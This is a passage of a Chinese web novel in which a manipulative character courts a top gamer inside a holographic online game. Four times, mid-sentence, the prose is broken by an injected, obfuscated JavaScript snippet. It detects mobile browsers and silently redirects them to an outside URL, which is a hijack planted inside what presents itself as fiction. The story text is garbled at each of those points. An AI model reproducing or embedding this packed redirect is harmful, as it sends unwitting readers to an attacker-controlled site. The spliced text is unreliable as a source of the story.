“啊，你说这个，”戎雪岚扯了扯身上的衣服，“因为来接连绛，不小心被喝醉的她吐了一身，然后不得不换了身衣服。” “喝醉的？”松裕已经没有精力做出什么表情了。 他可从来没见连绛喝醉过，怕不是装醉吧。连绛到底想干嘛，他真是越来越看不懂了。 “穿着这身衣服就不要在这里到处乱晃，不然被那些不怀好意的人看见……就没有你拒绝的余地了。”松裕饱含深意地警告，但见戎雪岚面上的神色仍旧茫然，深深叹息。 “算了，我送你回去吧。” 此言一出，戎雪岚面上的神色一愣，眼中闪过一丝什么，口中犹豫道：“不用这么麻烦吧……” “我没有在跟你商量，”松裕道，“这是个通知。” 戎雪岚没想到松裕这么强硬，只能接受：“好吧。” 两人走出酒吧，松裕向身后警告似地看了眼，让暗中窥视的人统统移开视线。 由于实在不太相熟，两个人就算坐在车上，车内空间也只弥漫着一种说不出的尴尬：“嗯……谢谢你送我回家？” 戎雪岚决定率先开口打破这个氛围。 “不用谢。”冷淡的语调，说话时完全没向戎雪岚看一眼。 ……这样不就聊不下去了吗？ 绞劲脑汁地思索着究竟有什么可以充当话题，戎雪岚忽然想到什么：“对了，你和连绛小姐是什么关系？” 这是他一直非常在意的问题。 “反正不是什么亲密关系。”松裕这话说得斩钉截铁。 但越是这样，戎雪岚就越加怀疑：“……但你们看起来很亲密，是青梅竹马吗？” 松裕表情不耐看他一眼：“最多算得上是从小一起长大的陌生人。” “……”关系不好的青梅竹马也是青梅竹马嘛。再说，他们也没有关系很不好，青梅竹马……可是最容易变成恋人的呢。 “不得不防啊。” 含糊又低微的声音响起。 松裕没有听清，因此表情略微不耐：“你刚刚说什么？” 戎雪岚笑：“我说，非常感谢松裕先生愿意送我，不知道要怎么报答你才好呢。” “顺手的事。”松裕按下按钮，戎雪岚那边的车门弹开，“下车吧。” 还真是立刻就开始赶人了。 不过戎雪岚也没有多停留的意思，毕竟，他对松裕的攻略主要进行在网上。 并且之后也不打算暴露自己的真实身份。 看着松裕的车辆向前方驶去。尽管松裕很可能根本不会朝后看一眼，戎雪岚却还是带着微笑挥手告别。 直到确认车辆完全消失在视野之中，戎雪岚面上的表情才缓缓松懈下来，他发出意味不明的一声：“……哈。” 还真是好玩。 连绛试探他，想知道他是不是像表现出来的那么清纯，所以给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656087|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他安排了一场羊羔落入狼群的戏码，但很快这一点就被松裕撞见并破坏。 松裕是真的好心吗？他不知道呢，还是说只是为了破坏连绛的计划呢？ 不过都无所谓，除了被吐一身，戎雪岚认为今天还算是有意思的一天。 “……再让我多愉快一点吧。” 他低声喃喃，转身回到家中。 …… 第二天，戎雪岚收到了连绛的回复，上面有连绛的感谢，以及为了表达自己的感谢提出请戎雪岚吃饭。 吃饭…… 戎雪岚若有所思。 这算是打一巴掌，给颗甜枣吗？ 但是就算是钓鱼，也应该张弛有度啊。 想起《世界降临》里提示松裕上线，戎雪岚笑了笑，在手机上敲下回复： “抱歉，今天临时有事情，如果可以的话，下一次我请你吧？” 连绛很快回复：“既然说是要感谢你，哪有你请我的道理，还是我请你，不过我以为我们是不用预约时间的关系。” 戎雪岚沉默一会，才回复她：“如果……我是说，当然是。但是今天真的很抱歉。” 虽然消息表现得非常歉意，但戎雪岚的精致的脸上却只带着一种戏谑的若有若无的笑。 “好吧，下一次我会事先约你，小少爷，记得腾点时间出来给我。” 小少爷…… 戎雪岚的视线落在连绛发来的这三个字上，长长的睫羽垂落，看不出来他在想什么。 半晌，他勾起唇，发出一声冷笑。 随后任由对话框停留在连绛结尾。 绑定关系之后，一旦对方上线，自己这里就能看到通知。 此时松裕听着系统在耳边播报的【您的徒弟‘蓝色小白兔’已上线】。 眼中闪过一丝玩味。他没有让人去查她的身份，任何事情只要弄清楚就完全没意思了。 思索片刻，松裕很快向她发去一条信息： 【路人甲：打本吗？】 【蓝色小白兔：打，邀我。】 松裕想起什么。 【路人甲：我应该怎么称呼你，小白兔？】 【蓝色小白兔：你这样好像油腻男。】 【路人甲：什么话？我不是给你选择自己称呼的权力了吗？】 【蓝色小白兔：……】 【蓝色小白兔：随便你，我不在意称呼。】 松裕见状，眼中闪过一丝精光。 【路人甲：小兔儿，谐音小徒儿，你觉得怎么样？一语双关。】 他沾沾自喜，自己能取出这种有内涵的名字，这就是才华。 不过……对方看起来并不买账，随着一个透着一言难尽味道的“？”，她果断指定了称呼。 【蓝色小白兔：？】 【蓝色小白兔：叫我小白。】 松裕挑眉，小白这么普通的名字根本比不上他起的，不过算了，既然是自己的徒弟，那就对她多一点宽容吧。 【路人甲：所以你应该叫我什么，知道吗，小徒弟？】 【蓝色小白兔：甲入。】 【蓝色小白兔：（已撤回）】 【路人甲：？】 【蓝色小白兔：抱歉，你想叫什么。】 松裕一瞬间有点没看懂对方说的话。 “甲入”，是什么意思？ 他选择询问自己的AI，最终得到回答。 以下是来自AI小布的回答： “‘甲入’有可能是玩梗，‘入’=‘人’，‘甲入’也就是‘假人’，‘假人’也就是‘伪人’。” 松裕：“……………？”谁伪人，他吗？ 5. 挑破真相 松裕露出一个阴森森的笑容，既然这样。 【路人甲：叫声师父来听听。】 之前松裕就发现对方应该是很好面子的性格，放不下身段，既然这样，让她心不甘情不愿叫自己师父岂不是很好玩？ 强扭的瓜甜不甜不重要，他喜欢的是扭瓜的过程。 【蓝色小白兔：……还打不打本了？】 【路人甲：打完本你就叫？】 【路人甲：这样吧。来比比吗？接下来打的是星际战争本，相同时间内双方攻下多少星球，输家答应赢家一个要求。我的要求就是，我赢了你要喊我师父。一直喊，不限地点不限场合。】 【蓝色小白兔：……】 松裕当然知道对方绝对没有胜算，星际战争本的玩家需要操纵星船，对精神力和枪法的要求很高。之前两人一起打的那个本就能看出，对方的枪法没他好。 虽然是用自己的长处去比人的短处，但是松裕没什么不好意思的地方，不然用短处去比人家的长处，那不是傻蛋吗？ 见对方迟迟没回复，松裕挑衅道。 【路人甲：你不会是害怕了吧？】 【蓝色小白兔：你才害怕了，输了就叫我主人，别赖帐。】 松裕一愣，翘起嘴角，玩得还挺大。很好，现在是保护尊严的保卫战了。 …… 半小时后。 小白满脸不情愿，僵硬开口：“……师父。” “唉，”松裕笑得春风得意，“现在行了吧，你师父还是你师父。” 刷了记录都是次要的，最重要的是，松裕捍卫了自己的尊严，还得到一只闹脾气但又不得不乖乖按照他的要求做事的小猫。 很快，小猫忽然想起什么：“你……破了记录吧？” “啊？好像是吧。破自己的记录很正常。”松裕才反应过来自己有些太得意，完全没能藏住身份。 “如果我没记错，在你之前，霸榜的人叫‘木谷’。” 《世界降临》论坛有一个常年霸榜的大佬，木谷。 非常擅长枪械战斗，在精神力和精准度的副本当中，均占据多个排行榜首。尽管官方并未公布这位大佬的相关数据，但众人猜测他的精神里至少在S以上。 猜出来了？ 松裕挑眉，不过他本来就没有伪装身份的意思。 按理说，这时候对方的神色怎么说都应该有那种‘大神竟在我身边’的恍惚和喜悦，但松裕却莫名看出几分咬牙切齿的味道。 难道他是木谷的时候得罪她了？不应该啊。 没等松裕说什么，他面前的身影忽然消失不见。 松裕这下完全愣住：这是下线了？就因为知道他是木谷？ …… 莫名其妙下线的戎雪岚此时手上捧着一本电子书：《木谷战斗方案教学》 这本书在长篇大论分析完木谷的战斗之后，只得出了这样一个结论：人家是天赋，普通人没有被邀请。 他合上书，笑了一声。 ‘傲娇大小姐发现师父是偶像’的暗恋剧本，如何呢？ 话说回来。戎雪岚在很久以前也玩过《世界降临》，不巧的是，在松裕出现前，他正是拥有同样话题和讨论度的榜一，‘予白’。 后来对《世界降临》的热情渐渐消散之后，戎雪岚就再也没有登陆过。 现在戎雪岚知道自己为什么会莫名其妙讨厌松裕了。 同样的天赋，同样的擅长。 谁能不讨厌一个完全是自己竞品的人呢？ 至少他不行。 人可能因为过度相似而被吸引，也可能因为过度相似而被厌恶。 戎雪岚是后者，他要把松裕变成前者。 …… 选定了和连绛饭局的时间。 事实上，距离连绛邀请的那一天没过去三天，但他现在可是心慕对方、但因为试探黯然神伤，却又无法抗拒对她的喜欢而眼巴巴邀请的舔狗。 不停地摆弄着餐桌上的餐具，戎雪岚的视线不停看向来处，显出一点焦急和迫不及待，简直像等待主人回家的小狗。 “抱歉，我迟到了。” 戎雪岚下意识坐正，清了清自己的嗓子：“没关系，到了就好。” 连绛扬了扬眉：“那天不好意思了，把你叫出来却没有陪你喝几杯，还让你照顾了我。” “没、没关系，”戎雪岚下意识脸红，察觉到自己太过紧张，眉目间暗恨自己不争气，战术性喝了口水：“你能第一时间想到我，我已经很开心了。” 连绛笑了笑，看他：“为什么开心？” “啊？”戎雪岚大概没想到连绛会问这个问题，被打个措手不及，当他意识到连绛问这句话背后可能藏着的含义是，面色顿时染上飞红。 “因、因为……”他结结巴巴，很是犹豫是否要将自己的心意在这里和盘托出。 这里没有鲜花，没有清场，更没有刻意营造的氛围，他什么也没准备。就像一个忽然被老师抽考的孩子一样无措。 “为什么，一条消息就能把你叫出来？为什么你愿意照顾喝醉的我？仅仅是朋友吗？” 她微微眯起双眼，锋利的眼尾微微上演，使她的面容并不温和，看起来更像是一种审视。 “还有……那天的那束鲜花，是什么意思？” 当戎雪岚听见这个问句时，她站了起来，绕到表现无措的戎雪岚椅子后面，双臂轻轻环住他。 戎雪岚浑身僵硬。 体温在上升，大脑似乎已经变成一片空白，连绛的话能够通过耳朵，却怎么也没办法被大脑的信息中枢处理。 “你喜欢我吗？” 戎雪岚死机了。 连绛笑了一声，气流柔柔地透过发丝打在敏感的耳尖。 “你的演技真好啊。” 戎雪岚睁大双眼，茫然无措地看着对方，张了张嘴：“……什么意思？” 连绛歪了歪头：“你明明不喜欢我，却表现出很喜欢我的样子。” “不！”戎雪岚顿时紧张地摇头，他的目光中透着一种含蓄的哀伤，放在餐桌上的双手已经紧握成双拳：“我、我不明白，为什么这么说。” 连绛摇头，表情有些可惜：“不明白吗？真可怜，那就告诉你吧。” “很简单的一个事实，因为你对我没有欲/望。” 她转到戎雪岚面前，俯下身，之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656088|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间挑起戎雪岚的下颌，微微偏转脑袋，眼看下一秒唇就要印上他，最关键时，戎雪岚却微微偏头，避开这个吻。 连绛没有生气，她反而笑了笑：“你看。你的身体在抗拒我，所以即便你的举动、神态告诉我你再喜欢我，那也没用。” 戎雪岚没有表情，那双眼睛看向连绛，瞳孔中却没有丝毫情绪：“什么时候发现的？” 她耸耸肩：“就是你将我带回酒店的那天。” “恐怕你没有发现，你的目光一次也没有在我身上停留。这一点让我确信，你对我没有欲求……不，恐怕最基本的好感也没有。” 连绛歪头：“否则我实在很难相信有人能够拒绝我。毕竟，那时的我是那样无害，就算你对我做任何事，我都不会知道，也没办法反抗。只要你事后说自己是酒后乱X——酒后能不能乱X暂且不论，至少有个遮羞的理由。” 被揭穿面具，他的攻略可以说是完全失败，索性戎雪岚就抛开假面，他笑了笑，完全眯起那双让他看起来像是狐狸的眼睛。 他偏头。 “因为不想。如果我想要‘性’，可替代的东西实在太多了，它既不特殊，也不唯一。” 连绛纳罕：“所以你要‘爱’吗？” “你认为呢？” “我认为你不需要。” 戎雪岚无辜：“为什么？我应该没做任何不值得你信任的事情吧？” 连绛笑：“因为在你的攻略里，我看不到一丝真心，全是技巧。” 戎雪岚：“有技巧还不够吗？在你之前，我有七个‘恋人’，他们有的是工作狂，有的是背叛之后无法相信别人的，有的有执念很深的白月光，有天性冷漠的，有和我一样喜欢玩弄人心的。” 连绛捕捉到什么：“还有两个呢？” 戎雪岚沉默了一会：“还有两个原本是一对恩爱的爱侣。” “看起来你得到了很多成功案例。” 戎雪岚理所应当地点头：“当然，我发现他们不需要真心，只需要理想中最符合他们幻想的，最完美的恋人。” “所以你也不交付真心，而是选择用技巧去取得他们的‘爱’？你认为那是‘爱’吗？” 戎雪岚并没有因为连绛的话产生动摇：“不是我认为的爱。而是他们认为的爱。至少在他们的认知里，似乎没有理由不爱这样的我。” “确实，”连绛笑了笑，“一个完美的、只存在与理想之中的，恋人。实际上不过是湖水边的纳西索斯，你所展现的，是他们加诸投影在你身上的自我影射。” “人最爱的总是自己。”戎雪岚毫不在意地耸肩。 连绛笑了笑：“千篇一律的爱。这样的爱，我无法认同。爱是不完美的，因为爱，所以信任；因为爱，所以多疑；因为爱，所以想要保护和破坏，即希望他高高在上，又希望他只被自己一个人私藏。” “所以？” “要和我打个赌吗？” 连绛说着。 打赌？戎雪岚想起了和松裕的赌约。 虽然那场赌约可以算得上是故意的，但总归是失败的赌约。 看起来这两个人，在某种情况下，相似得不是一星半点。 6. 目标转换 “要试试吗？这是技巧和真心的比拼。” “任务目标呢？” “你认识的，松裕。” 戎雪岚一瞬间眯眼：“你……” 连绛轻笑，红唇在暧昧的灯光下显出一点暗色的紫调：“原本我应该会说，你以后会知道的。但是看在我和你很投缘的份上……因为我想看他能不能真的爱上具体的人。” 戎雪岚只沉默了一会：“为什么找我？” 连绛掀了掀眼皮，将视线在他的脸上转了一圈：“因为他并不讨厌你。” 戎雪岚皱眉：“这怎么看得出来？” “他救了你，酒吧那天晚上。” 连绛坐回原本的位置上。 “穿着侍应生服的人，都是客人的‘猎物’，一旦被猎人抓住，‘猎物’的结局会怎样，没人会管。” 戎雪岚面上并未露出若有所思的神色，他抬眼：“所以你从那个时候就计划着让我攻略他吗？” 连绛却摇头：“你弄错了先后关系。是因为你被他救了，所以才会有这个计划。原本……” 她唇边的笑意有些凉薄：“……原本我只是想知道，你还能不能保持那副小羊羔的假面。会不会忽然从小羊羔变成大灰狼呢？” “……” 疯子。 戎雪岚在心底为她贴上标签。 为什么会选择攻略连绛？戎雪岚已经忘记了。大概是因为生活实在太无聊，而在此之前，他就听说有很多人原本抱着不纯的心思接近她，最终却莫名其妙爱上她。 好奇。这是他的第一念头。第二念头是，战栗。 这是棋逢对手的兴奋，不管是他爱上她，还是她爱上他，都很刺激，都会是他想要的结局。 只不过没想到，攻略中途忽然换人。 不过，他对她口中所谓的技巧和真心也很好奇。 那么，就让他来验证一下，究竟是哪一样更能被接受呢？ …… 戎雪岚和松裕之间的关系在逐渐好转。 具体体现在松裕不再在戎雪岚面前开启隐私设置，展露的是他本来的外貌。 他会带着戎雪岚一起打本，两个人在《世界降临》停留的时间越来越长久。 一开始只是为了打本，松裕也确实不负他喊的那声“师父”，毫无保留地将自己的技巧交给他。 但一则，戎雪岚本就有足够的天赋和基础，学的东西很快；二则，就凭两个人刷副本的速度来看，世界降临所有副本一周速通不是问题，就算戎雪岚为了增加两个人的相处时间，刻意拉低副本时间，两周也是最慢限度了。 是以，两个人总有刷无可刷的时候。 不过短时间让两个人长久地黏在一起，在很大程度上促进了两人的情感升温，产生一种依赖感。 【木谷：我教的都差不多了。】 【蓝色小白兔：……嗯，我学得也差不多了。你有想要的东西吗？】 【木谷：这是感谢？】 【蓝色小白兔：才不是。我叫你师父，你教我不是应该的吗？】 松裕笑，还真是傲娇的大小姐。明明想要感谢，却……想到什么，他面上的笑意淡了下去。 思索片刻。 【木谷：和我随便走走吧，我有点事想问你。】 对面的少女面色微红，说出的话却显得非常勉强。 【蓝色小白兔：看在你教我的份上。】 世界降临的大世界模块是依照蓝星地图所设，非常大，并且风格各异。 两人所处的一片载满樱花的小道，论坛里有人称其为‘约会圣地’，原本这块地方应该说是人潮汹涌也不为过，今天却不知怎么，居然一个人也没有。 小白像个好奇宝宝一样左右观察者道路两旁的景色，尽管两人相处快一个月，却从来没像这样，两个人肩并肩，只是安静地一起走路。 【木谷：我想问你一个问题，当然，你也可以选择拒绝回答。】 小白毫无防备。 【蓝色小白兔：快说，看在樱花的份上，只限今天。】 【木谷：那一天，你知道我是木谷之后，为什么忽然下线？】 小白一愣，面色立即通红，她结结巴巴。 【蓝色小白兔：你、你问这个干什么？】 【木谷：因为很好奇嘛。我在想是不是哪里不小心得罪你了呢？】 小白一动不动，像是因为这件事情陷入僵直。 还在不好意思？松裕的心情莫名有些愉快，他语气像是撒娇。 【木谷：说说看嘛，你说的，只限今天。】 她皱眉，像是苦恼，又像是羞愤，总之能在那张平时只有高傲的脸上见到这样的表情，实在不能说是不稀奇。 【蓝色小白兔：喜欢……】 【木谷：什么？大点声，我好像听不清楚。】 松裕是真没听清。 小白却好像误会他是故意的，瞪着他，一字一句道。 【蓝色小白兔：……喜、欢、过、你。】 松裕愣住，不过他立即反应过来。 【木谷：你不会说完就要下线吧？喜欢我又不是什么丢人的事，我这么强，还这么帅，你喜欢我很正常……喂！】 松裕话还没说完，小白的身影就消失在自己眼前。 最符合ID的一集，跑得比兔子还快。 不过他的心情却并没有因为小白消失而变坏，反倒莫名轻松。 想到对方那张表情高傲的脸上出现狼狈，松裕的唇角就勾了起来。 好玩。像炸毛的小猫。 心情愉悦的松裕在小白下线后收到一条来自好友的消息。 【路人乙：松哥你上线了？快来帮我刷一下双人本，求甜蜜双排！】 对方是松裕现实中的朋友，路易。同样是个网瘾重度患者，是一名黑客。 【木谷：我有双排了。你再拉几个人开多人本。】 【路人乙：？】 【路人乙：松哥你真的假的？我就两星期没上线，你就把自己卖掉了？】 【木谷：废话这么多，我看你是想跟我打PK了。】 【路人乙：别别别。双排男的女的，好不好看，家住哪里，是不是咱圈子里的人？】 松裕被路易问的一串问题感到无语，难道自己还能被人骗吗？ 【木谷：你问那么多干嘛，这是我徒弟，不是我对象，ok？】 【路人乙：原来不是，我就说嘛！不喜欢立体人的松哥怎么会莫名其妙有了双排。】 【路人乙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656089|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：你们是怎么认识的？和我说说呗。】 【木谷：下次有机会你直接问她。】 【路人乙：说起来她现在怎么不在？】 松裕笑。 【木谷：害羞了。】 【路人乙：……？】 …… 和朋友打完多人本，虽然没有刷新记录，但也得到了不错的奖励。 不知道是不是小白不在的原因，松裕觉得打本好像都差点意思，因为他已经快要习惯和她并肩作战了。 打完一局，和朋友说过之后，松裕也很快下线。 下线之后简单冲了个澡，松裕正在擦头发，这是门铃忽然被人按响。 他披着浴袍，头上搭着块毛巾，发尾甚至还在滴水，就这样毫不在意地拉开了房门。 “您好——送了么速递，这是您的件，请签收。”一个身穿制服的速递员满面笑容出现在松裕面前，他的手上捧着几个包裹。 松裕：“？”他没买东西啊。 狐疑地接过其中一个包裹，看着上面的地址和收货人，都是松裕的信息，看起来并没有填错。 “对了，”速递员想起什么，“他说只要给您看这个，就知道了。” 他掏出张卡片，递给松裕，上面只有两个字“礼物”。 松裕微愣，礼物？ 想到什么，他挑眉。不是“谢礼”，而是‘礼物’吗？ 在速递员指示的地方签完字，松裕拿着包裹关上门，随意拆开其中一个。 忽然，他坐直身体，将包裹里的东西小心翼翼拿了出来。 ——他没抢到的限量谷！ 难道？ 他把目光移向剩下几个。 满心虔诚的打开，果然不出他所料，全部，都是他之前没抢到的。 松裕的喜悦只停留了浅浅一瞬，他很快眯起双眼。 为什么小白会知道他的住址？为什么会知道他喜欢这些？ ……他和她的相遇，真有那么简单吗？她在暗中注视他吗？ 不。他本来就知道她目的不纯，不是吗？为什么现在又会产生这种疑问呢？ 还是说，他已经动摇，希望她能够毫无目的，希望他们是真正的天命之合，只是在命运洪流里自然相遇的两粒泥沙？ 松裕在周边面前坐了一会，没有找到答案。于是他站了起来，将这些心水的周边全部摆到能够看见的架子上。 ……还是先欣赏周边吧。 …… 戎雪岚下线得很快，除了要给松裕一个‘惊喜’以外，他还认为是时候向两人之间的关系增加一捧柴。 温水煮青蛙的时间已经够长了，至少松裕绝对不反感‘小白’，现在缺少的是能够燃烧他们的火。 戎雪岚难道不知道忽然把这些东西寄给松裕会引起他的警惕吗？ 他当然知道。但他就是要松裕知道，并且还是现在知道，然后让松裕决定，他们之间的关系究竟是前进还是彻底破裂。 把主动权交在攻略对象的手上，这是何等冒险的举措？ 戎雪岚有些陶醉地抱住自己双臂，体会着松裕的感受。 会反感吗，还是厌恶？ 又或者，是兴奋呢？ ……因为他现在，就非常兴奋呢。 7. 一见钟情 这个问题的答案一直保留到戎雪岚第二次上线。 【蓝色小白兔：收到了吗？】 这一次，戎雪岚率先开口。 【木谷：你指什么？】 【蓝色小白兔：礼物。】 【木谷：什么礼物？你给我寄礼物了？你知道我家在哪？】 【蓝色小白兔：……】 松裕这家伙居然装傻？ 像是感受到戎雪岚的无语。 松裕又道。 【木谷：开玩笑的。我收到了，是我很喜欢的周边，谢谢你。】 【蓝色小白兔：那就好。你不好奇吗？我怎么会知道你的住址，还有你喜欢的东西。】 松裕‘嘶’了一声，感到有些棘手。难道对面准备打直球？ 那真是太坏了。 【木谷：说实话，我不好奇。】 【蓝色小白兔：因为我关注你很久了。】 明明决定看在周边的份上不追究的，但松裕还是没忍住反驳她。 【木谷：我也从来没在公众平台上发表过私人信息。就算你关注我，也没办法知道我的家庭住址吧。这可是侵犯隐私。】 【蓝色小白兔：嗯，我知道。】 六百六十六，演都不演了。 你知道？知道还这么做？ 网络安全法案的惩罚还是不够重。 虽然很想和对方科普做这种事有什么后果，但他最后还是选择放弃。 【木谷：你开心就好。】 【蓝色小白兔：我喜欢你。】 ？？！ 松裕当然不缺人喜欢，但要像对方一样，完全符合自己审美，并且做出这种事自己也没多反感的，那就只剩下这一个。 但这表白真是过于突然，松裕迟疑了一会。 【木谷：……谢谢你的喜欢？但就算是这样，也不能当作合理的理由。】 【蓝色小白兔：要试试吗？只和我在这里恋爱。只要你想，我可以扮演你喜欢的任何人设。】 说实话，对方说完这句话之后，松裕竟然真的有一丝心动。大概是因为对方的长相和性格都是他所喜欢的吧？而且对方的意思非常明确，只有《世界降临》，他们是恋人。 也就相当于自己有一个不用负责的虚拟恋人。 【木谷：……不要。】 但他很快清醒过来。 【木谷：你大概搞错了一件事。我不是因为喜欢人设喜欢那些角色，而是因为喜欢那些角色才偏爱那种人设。】 【木谷：如果你喜欢我，就让我也喜欢上你。不要想着靠我喜欢的人设走捷径，这可不能偷懒啊。】 【蓝色小白兔：我应该怎么做？】 【木谷：哪有直接向考官要答案的。努力答题啊。】 【蓝色小白兔：……】 【蓝色小白兔：哦。那我不喜欢你了。】 【木谷：？】 看着面前的人说完这句话之后就低下头，松裕还没从对方立刻变心反映过来，就呆住。 不会吧……不会哭了吧？ 毕竟这句话听起来就像赌气。 他有些烦恼，叹了口气。 拍拍对方。 【木谷：喂，没必要哭啊。我也没说不会喜欢你吧？】 没等安慰的手掌落在对方肩上，她抬头，目光中藏着戏谑和狡黠，哪有松裕脑子里模拟的可怜兮兮的泪光？！ 【蓝色小白兔：师父，你真好骗。】 【木谷：…………】 你开心就好。 他清了清嗓子。 【木谷：要不要跟我一起打多人本？】 【蓝色小白兔：招募吗。还是？】 【木谷：这次是固定队。】 【蓝色小白兔：我没有意见。】 不知道为什么，戎雪岚总感觉有什么被他忽视了。 ……应该不会这么巧吧。 松裕牵住戎雪岚的掌心，见她讶异抬头，只是冲她笑了笑。 【木谷：牵着你，防止你走丢。】 …… 当松裕牵着自己徒弟出现在所有人面前的时候，众人心中不约而同闪过一个念头。 松哥……您不觉得，您的徒弟对于女生而言，有点太高了吗？ 其中一个人表现尤其诡异。 他怔怔地看着小白，好像她是什么梦中洛神。 身边的人捅他一下：“喂喂，阿凉，你在看什么呢？不会是在看松哥的小徒弟吧？” 被称作阿凉的人回过神：“那是松哥的小徒弟？她叫什么？” “叫什么松哥也没说，”那人皱眉，帅气的面庞上，两条眉毛微微下撇，一只手托住下巴作思考状，“不过既然都带给我们看了，应该是比较看重的吧？” 想到什么，他眯眼逼近阿凉：“虽然说你那到处拈花惹草的臭毛病在被甩之后好了不少，但应该不会看松哥的徒弟长得好看，就见色起意吧？” 说着，他打了个寒颤：“你要是真这样，到时候松哥把你大卸八块了，兄弟也是会给你立块碑的。” “滚。”阿凉把对方不怀好意的询问捅了回去。 两人的打闹也让松裕那边注意到这，阿凉有些期待地朝那看去，对方的视线仅只在这里停留了微不足道的一瞬，还没有身边的人长。 没认出来吗？ ……不对。他知道对方是有多少细心的人，记忆力更是好到可怕，他离开的时候，那几句话至今还在诘问他。 那么，也就是说，对方刻意不想认出他？ 为什么？ 沈凉的视线转到对方身边的人身上。 松裕……吗。 原来那就是他的最新目标。 沈凉的瞳色暗沉。他知道自己应该怎么做了。 松裕对视线向来非常敏感，因此当他注意到沈凉的视线之后，下意识向前站了两步，挡住沈凉看向小白的视线。 他知道沈凉那家伙向来花心，但是自从他宣称找到真爱之后，就再也没有变成之前那种轻浮的模样，就算是分手，也没有像他之前说的那样“从一段恋情当中走出来最好的方法就是开启下一段恋情”，反倒整日失魂落魄。 尽管几个同伴私下里有在讨论是他不愿意走出这段恋情，甚至还猜测究竟是怎样的人会让那个花心凉薄的沈凉这么难以忘怀。 但……现在对方看着小白这样赤裸露骨的眼神又是什么意思？ 警告似瞥了对方一眼，沈凉一怔，很快就收回视线，低下头不知道在想什么。 这模样又让松裕皱了皱眉，原本以为对方是见色起意，但这样……怎么看起来像是见到什么难以忘怀的人？ 松裕的视线藏着几分探究移向了牵着他的小白， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656090|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小白并没有将注意力分给沈凉一丝一毫，看起来就像丝毫不认识，察觉到松裕的视线，她抬起头，张口。 【蓝色小白兔：怎么了？】 【木谷：没什么。我给你介绍一下他们，等会在战斗中争取有更好的配合。】 话落，松裕向几人招了招手。 几人都非常有眼力见地靠了过来。 他打开语音，没有再打字。 “这位是姜江，辅助位，需要弹药或者增援只需要d他一下。” 姜江，也就是之前站在沈凉边上的人，笑着向戎雪岚挥挥手。 他的人物并没有穿作战服，而是穿着一深看起来和现实世界相差无几的休闲服，长相算不上十分俊朗，但笑起来时颇为健气，看起来是那种非常阳光、容易接近的小太阳。 小白向他点点头。 “这位是……” 简单介绍过之后，只剩下最后一个。 沈凉并没有等松裕介绍，或者说他的视线完全没有放在松裕身上。 他紧紧盯着小白，好像生怕她消失一样：“我叫沈凉，小白小姐，很高兴认识你。” 沈凉说话间托起小白的另一只手，单膝下跪，吻在她的指尖，表情异常虔诚。 “？” “哈？” 众人大跌眼界，松裕最先反应过来，一把抓住沈凉的领口，将他拽开，一圈砸在他脸颊上，砸得他一个趔趄。 “阿凉……！” 姜江有些担心地喊道。 虽然说全息游戏可以调整痛觉，但对于他们这些高端玩家而言，痛觉意味着沉浸感，加上能让他们手上的事情非常少，很少有人会屏蔽痛觉。 至少沈凉没有。 未进入副本或战争状态，同队伍玩家间的攻击不会呈现在全息人物身上，但是痛感依然存在。 因此，沈凉被打了一拳，脸上却并没有出现青紫的伤痕。 他笑：“松哥也太粗暴了，我只是跟小白小姐打个招呼而已。” 松裕表情没有丝毫变化，闻言，他只是活动了一下手腕关节：“不要用这种轻浮的态度对待我的人。这是警告。” “松哥的人？”沈凉重复了一句，笑了笑，“我能知道小白小姐是松哥的什么人吗？” 松裕皱了皱眉，视线划过小白，看得出小白对松裕的答案也非常好奇，身体微绷，却强忍着没有抬头看他。 思量片刻，松裕顺着对方的话给出答案：“徒弟。” 肉眼可见，小白脸上很快闪过一抹失落的神色，而沈凉得到这个答案后却笑得春风得意。 “那也就是说，松哥和小白小姐不是恋人，我想追求小白小姐，松哥没理由阻止吧？” 松裕眯眼，毫不犹豫向着对方的肚子上又是一拳。 “我说过，不要用那种轻浮的态度对待她。” 沈凉被松裕毫不留情地一拳打弯腰，他咳嗽两声。 